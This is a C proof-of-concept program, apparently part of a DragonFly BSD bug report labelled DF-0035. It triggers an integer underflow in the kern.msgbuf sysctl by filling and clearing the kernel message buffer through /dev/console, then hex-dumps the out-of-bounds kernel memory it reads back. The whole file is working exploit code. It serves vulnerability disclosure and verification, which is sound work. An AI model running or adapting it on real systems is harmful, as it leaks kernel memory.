DF-0035 / msgbuf_trigger.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 | /* DF-0035 — DECISIVE trigger for the OOB read in sysctl_kern_msgbuf branch 3. * * The 3rd branch (sys/kern/subr_prf.c:1183) fires only when * xindex_modulo == 0 (i.e. msg_bufx is an exact multiple of msg_size) AND * rindex_modulo > xindex_modulo. The buggy length it passes to * sysctl_handle_opaque is (n - rindex_modulo); this underflows (u_int) when * rindex_modulo > n, which the geometry permits only if msg_bufr is "stale" * at a value where msg_bufr % msg_size > msg_size/2. That staleness is * produced by kern.msgbuf_clear=1 (root-only) which sets msg_bufr := msg_bufx. * * This program: * - Pushes msg_bufx forward so its modulo is > msg_size/2. * - Calls kern.msgbuf_clear=1 (msg_bufr := msg_bufx). * - Drives msg_bufx ONE byte at a time, doing a big-oldlen sysctl read * after each byte, until msg_bufx reaches the next msg_size boundary. * - Reports any read that returns MORE bytes than msg_size (the decisive * underflow signature) and hex-dumps the OOB tail. * * Build (DragonFly, root): cc -O2 -o msgbuf_trigger msgbuf_trigger.c -lkvm * Run (root): ./msgbuf_trigger */ #include <sys/types.h> #include <sys/msgbuf.h> #include <sys/sysctl.h> #include <fcntl.h> #include <kvm.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <nlist.h> static struct nlist nl[] = { { .n_name = "msgbufp" }, { .n_name = NULL } }; static kvm_t *kd; static struct msgbuf *mbp_ptr; static void kvm_init(void) { kd = kvm_openfiles(NULL, NULL, NULL, O_RDONLY, "kvm"); if (!kd) { perror("kvm_openfiles"); exit(1); } if (kvm_nlist(kd, nl) != 0 || nl[0].n_value == 0) { fprintf(stderr,"nlist fail\n"); exit(1); } if (kvm_read(kd, nl[0].n_value, &mbp_ptr, sizeof(mbp_ptr)) != sizeof(mbp_ptr)) { fprintf(stderr,"kv rp\n"); exit(1);} } static struct msgbuf read_mb(void) { struct msgbuf mb; if (kvm_read(kd, (unsigned long)mbp_ptr, &mb, sizeof(mb)) != sizeof(mb)) { fprintf(stderr,"kv rb\n"); exit(1);} return mb; } static void drive_log(unsigned long n) { int fd = open("/dev/console", O_WRONLY); if (fd < 0) { perror("open /dev/console"); exit(1); } char buf[4096]; memset(buf, 'D', sizeof(buf)); unsigned long done = 0; while (done < n) { size_t chunk = n - done; if (chunk > sizeof(buf)) chunk = sizeof(buf); ssize_t w = write(fd, buf, chunk); if (w <= 0) break; done += w; } close(fd); } /* Write exactly one byte to /dev/console -> one msgaddchar -> msg_bufx++. */ static void drive_one(void) { int fd = open("/dev/console", O_WRONLY); if (fd < 0) { perror("open"); exit(1); } char c = 'D'; ssize_t w = write(fd, &c, 1); if (w != 1) { perror("write1"); } close(fd); } static void clear_msgbuf(void) { int v = 1; if (sysctlbyname("kern.msgbuf_clear", NULL, NULL, &v, sizeof(v)) != 0) { perror("sysctl msgbuf_clear"); exit(1); } } int main(void) { kvm_init(); struct msgbuf mb = read_mb(); u_int msg_size = mb.msg_size; printf("msg_size = %u (msg_size/2 = %u)\n", msg_size, msg_size/2); printf("start: bufx=%u bufr=%u (Vm_bufx=%u)\n", mb.msg_bufx, mb.msg_bufr, mb.msg_bufx % msg_size); /* Step 1: push msg_bufx to a value whose modulo is > msg_size/2. */ u_int want_vm = msg_size/2 + 100000; u_int cur_vm = mb.msg_bufx % msg_size; if (cur_vm <= want_vm) { unsigned long need = (want_vm - cur_vm) + 4; printf("step1: driving msg_bufx +%lu bytes so Vm > %u ...\n", need, want_vm); drive_log(need); } mb = read_mb(); printf(" now bufx=%u (Vm=%u)\n", mb.msg_bufx, mb.msg_bufx % msg_size); /* Step 2: clear so msg_bufr := msg_bufx, i.e. rindex_modulo = Vm > msg_size/2. */ printf("step2: kern.msgbuf_clear=1\n"); clear_msgbuf(); mb = read_mb(); u_int Vm = mb.msg_bufr % msg_size; printf(" after clear: bufx=%u bufr=%u (Vm=%u, %s msg_size/2)\n", mb.msg_bufx, mb.msg_bufr, Vm, (Vm > msg_size/2) ? "ABOVE" : "BELOW"); if (Vm <= msg_size/2) { fprintf(stderr, "FAIL: Vm=%u not > msg_size/2=%u; cannot demo underflow\n", Vm, msg_size/2); return 3; } /* Step 3: drive msg_bufx in big chunks to within ~256 bytes of the next * msg_size boundary, then ONE byte at a time, doing a sysctl read after * every single byte. When msg_bufx hits the boundary (xindex_modulo=0), * branch 3 fires with the underflow. */ u_int dist = msg_size - (mb.msg_bufx % msg_size); printf("step3: dist to boundary = %u bytes; approaching with 1-byte steps\n", dist); if (dist > 256) { drive_log(dist - 256); dist = 256; } size_t oldlen = 1U << 21; /* 2 MiB */ char *rbuf = malloc(oldlen); if (!rbuf) { perror("malloc"); exit(1); } unsigned long reads = 0, hits = 0; u_int prev_vm = (read_mb().msg_bufx) % msg_size; for (u_int i = 0; i <= dist + 4; i++) { drive_one(); /* do several sysctl reads while msg_bufx is at this value */ for (int k = 0; k < 4; k++) { size_t l = oldlen; memset(rbuf, 0x5a, oldlen); if (sysctlbyname("kern.msgbuf", rbuf, &l, NULL, 0) != 0) continue; reads++; if (l > msg_size + 16) { hits++; size_t bad = 0; for (size_t j = 0; j < l; j++) { unsigned char c = (unsigned char)rbuf[j]; if (c != '\n' && c != '\t' && (c < 0x20 || c > 0x7e)) bad++; } printf("[!] OOB HIT #%lu: read=%zu bytes (>msg_size=%u), " "%zu non-text bytes\n", hits, l, msg_size, bad); /* hexdump the boundary region: from msg_size-32 onwards */ printf(" bytes [msg_size-32 .. msg_size+96]:\n "); size_t start = (msg_size > 32) ? msg_size - 32 : 0; for (size_t j = start; j < start + 128 && j < l; j++) { printf("%02x", (unsigned char)rbuf[j]); if (((j - start + 1) % 32) == 0) printf("\n "); else if (((j - start + 1) % 8) == 0) printf(" "); } printf("\n"); if (hits >= 2) goto done; } } struct msgbuf cur = read_mb(); u_int cur_vm2 = cur.msg_bufx % msg_size; if (cur_vm2 < prev_vm) { printf(" [crossed boundary at iter %u: bufx=%u, Vm %u -> %u]\n", i, cur.msg_bufx, prev_vm, cur_vm2); } prev_vm = cur_vm2; } done: printf("step4: %lu sysctl reads, %lu OOB hits\n", reads, hits); mb = read_mb(); printf("final: bufx=%u (Vm=%u) bufr=%u (Vm=%u)\n", mb.msg_bufx, mb.msg_bufx % msg_size, mb.msg_bufr, mb.msg_bufr % msg_size); free(rbuf); kvm_close(kd); return hits ? 0 : 2; } |